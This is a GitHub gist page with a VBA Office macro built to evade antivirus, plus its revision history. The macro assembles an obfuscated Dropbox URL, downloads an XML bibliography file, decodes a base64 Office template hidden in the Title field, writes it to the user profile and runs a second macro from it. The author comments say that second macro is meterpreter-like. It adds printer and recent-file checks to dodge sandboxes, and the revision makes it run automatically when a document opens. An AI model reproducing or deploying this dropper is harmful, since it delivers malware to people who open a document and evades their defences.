Skip to content

Instantly share code, notes, and snippets.

@vysecurity

vysecurity/macro_evade_av_01.vba

Forked from Arno0x/macro_evade_av_01.vba
Created September 11, 2017 14:22
Show Gist options
  • Save vysecurity/6f1d400615eab5b99fcaf6c7d7dc6984 to your computer and use it in GitHub Desktop.
Save vysecurity/6f1d400615eab5b99fcaf6c7d7dc6984 to your computer and use it in GitHub Desktop.
Download ZIP

Revisions

  1. @Arno0x Arno0x revised this gist Feb 14, 2017. 1 changed file with 5 additions and 2 deletions.
    7 changes: 5 additions & 2 deletions macro_evade_av_01.vba
    View file
    Original file line number Diff line number Diff line change
    @@ -148,6 +148,9 @@ Private Function ConvertBytesToString(b() As Byte) As String
    ConvertBytesToString = s
    End Function

    Private Sub CommandButton21_Click()
    LoadBibliography
    Sub AutoOpen()
    LoadBibliography
    End Sub
    Sub Auto_Open()
    LoadBibliography
    End Sub
  2. @Arno0x Arno0x created this gist Feb 14, 2017.
    153 changes: 153 additions & 0 deletions macro_evade_av_01.vba
    View file
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,153 @@
    ' Author Arno0x0x - https://twitter.com/Arno0x0x
    '
    ' This macro downloads an XML bibliography source file.
    ' The <Title> element of this XML file actually contains a base64 encoded MSOffice template
    ' which itself contains another malicious macro much more detectable (meterpreter for instance).
    '
    ' The base64 encoded file (payload) is extracted from the XML file, decoded and saved on the temporary folder
    ' Only then, an new Office Word object is instantiated to load this Office Template and run a specific macro from it.
    '
    ' This macro makes use of very basic tricks to evade potential sandbox analysis, such as popup windows, check of local printers
    ' and recently opened documents.

    Private InitDone As Boolean
    Private Map1(0 To 63) As Byte
    Private Map2(0 To 127) As Byte

    Sub LoadBibliography()
    MsgBox ("File signature checked")
    Dim drive, bibliographySource, fonts, dl As String
    dl = "1"
    bibliographySource = "h"
    fonts = "tt"
    drive = "s:/"
    bibliographySource = bibliographySource + fonts + "p" + drive
    bibliographySource = bibliographySource + StrReverse(Trim("moc.tnetnocresuxobpord.ld/ "))
    bibliographySource = bibliographySource + "/path_to_source.xml?dl=" + dl

    ' Initial checks
    If (Trim(Application.ActivePrinter & vbNullString) = vnnullstring) Then
    MsgBox ("Is it possible that you have no printer set ?")
    Exit Sub
    End If

    If (Application.RecentFiles.Count < 4) Then
    MsgBox ("Is it possible that you have not worked on any documents yet ?")
    Exit Sub
    End If

    MsgBox bibliographySource
    ' Load a Bibliography remote source.xml file
    On Error Resume Next
    Application.LoadMasterList (bibliographySource)
    If Err.Number <> 0 Then
    MsgBox ("Remote source.xml could not be loaded")
    End If

    ' Retrieve the returned XML file
    Dim xml As MSXML2.DOMDocument
    Set xml = New DOMDocument
    xml.LoadXML (Application.Bibliography.Sources(1).xml)

    ' Decode the base64 encoded content from the <Title> field
    Dim bytes() As Byte
    bytes = Base64Decode(xml.SelectSingleNode("//Title").Text)

    ' Write the bytes to a local file
    Dim UserProfile As String
    UserProfile = Environ("USERPROFILE")
    FileHandle = FreeFile()
    Open UserProfile + "\temp" For Binary As FileHandle
    Put #FileHandle, , bytes
    Close #FileHandle

    Dim wordapp As Word.Application
    Set wordapp = CreateObject("Word.Application")
    wordapp.Documents.Open (UserProfile + "\temp")
    wordapp.Run ("ComputeTable")
    wordapp.Quit
    Set wordapp = Nothing

    End Sub
    Public Function Base64DecodeString(ByVal s As String) As String
    If s = "" Then Base64DecodeString = "": Exit Function
    Base64DecodeString = ConvertBytesToString(Base64Decode(s))
    End Function
    Public Function Base64Decode(ByVal s As String) As Byte()
    If Not InitDone Then Init
    Dim IBuf() As Byte: IBuf = ConvertStringToBytes(s)
    Dim ILen As Long: ILen = UBound(IBuf) + 1
    If ILen Mod 4 <> 0 Then Err.Raise vbObjectError, , "Length of Base64 encoded input string is not a multiple of 4."
    Do While ILen > 0
    If IBuf(ILen - 1) <> Asc("=") Then Exit Do
    ILen = ILen - 1
    Loop
    Dim OLen As Long: OLen = (ILen * 3) \ 4
    Dim Out() As Byte
    ReDim Out(0 To OLen - 1) As Byte
    Dim ip As Long
    Dim op As Long
    Do While ip < ILen
    Dim i0 As Byte: i0 = IBuf(ip): ip = ip + 1
    Dim i1 As Byte: i1 = IBuf(ip): ip = ip + 1
    Dim i2 As Byte: If ip < ILen Then i2 = IBuf(ip): ip = ip + 1 Else i2 = Asc("A")
    Dim i3 As Byte: If ip < ILen Then i3 = IBuf(ip): ip = ip + 1 Else i3 = Asc("A")
    If i0 > 127 Or i1 > 127 Or i2 > 127 Or i3 > 127 Then _
    Err.Raise vbObjectError, , "Illegal character in Base64 encoded data."
    Dim b0 As Byte: b0 = Map2(i0)
    Dim b1 As Byte: b1 = Map2(i1)
    Dim b2 As Byte: b2 = Map2(i2)
    Dim b3 As Byte: b3 = Map2(i3)
    If b0 > 63 Or b1 > 63 Or b2 > 63 Or b3 > 63 Then _
    Err.Raise vbObjectError, , "Illegal character in Base64 encoded data."
    Dim o0 As Byte: o0 = (b0 * 4) Or (b1 \ &H10)
    Dim o1 As Byte: o1 = ((b1 And &HF) * &H10) Or (b2 \ 4)
    Dim o2 As Byte: o2 = ((b2 And 3) * &H40) Or b3
    Out(op) = o0: op = op + 1
    If op < OLen Then Out(op) = o1: op = op + 1
    If op < OLen Then Out(op) = o2: op = op + 1
    Loop
    Base64Decode = Out
    End Function
    Private Sub Init()
    Dim c As Integer, i As Integer
    ' set Map1
    i = 0
    For c = Asc("A") To Asc("Z"): Map1(i) = c: i = i + 1: Next
    For c = Asc("a") To Asc("z"): Map1(i) = c: i = i + 1: Next
    For c = Asc("0") To Asc("9"): Map1(i) = c: i = i + 1: Next
    Map1(i) = Asc("+"): i = i + 1
    Map1(i) = Asc("/"): i = i + 1
    ' set Map2
    For i = 0 To 127: Map2(i) = 255: Next
    For i = 0 To 63: Map2(Map1(i)) = i: Next
    InitDone = True
    End Sub
    Private Function ConvertStringToBytes(ByVal s As String) As Byte()
    Dim b1() As Byte: b1 = s
    Dim l As Long: l = (UBound(b1) + 1) \ 2
    If l = 0 Then ConvertStringToBytes = b1: Exit Function
    Dim b2() As Byte
    ReDim b2(0 To l - 1) As Byte
    Dim p As Long
    For p = 0 To l - 1
    Dim c As Long: c = b1(2 * p) + 256 * CLng(b1(2 * p + 1))
    If c >= 256 Then c = Asc("?")
    b2(p) = c
    Next
    ConvertStringToBytes = b2
    End Function
    Private Function ConvertBytesToString(b() As Byte) As String
    Dim l As Long: l = UBound(b) - LBound(b) + 1
    Dim b2() As Byte
    ReDim b2(0 To (2 * l) - 1) As Byte
    Dim p0 As Long: p0 = LBound(b)
    Dim p As Long
    For p = 0 To l - 1: b2(2 * p) = b(p0 + p): Next
    Dim s As String: s = b2
    ConvertBytesToString = s
    End Function

    Private Sub CommandButton21_Click()
    LoadBibliography
    End Sub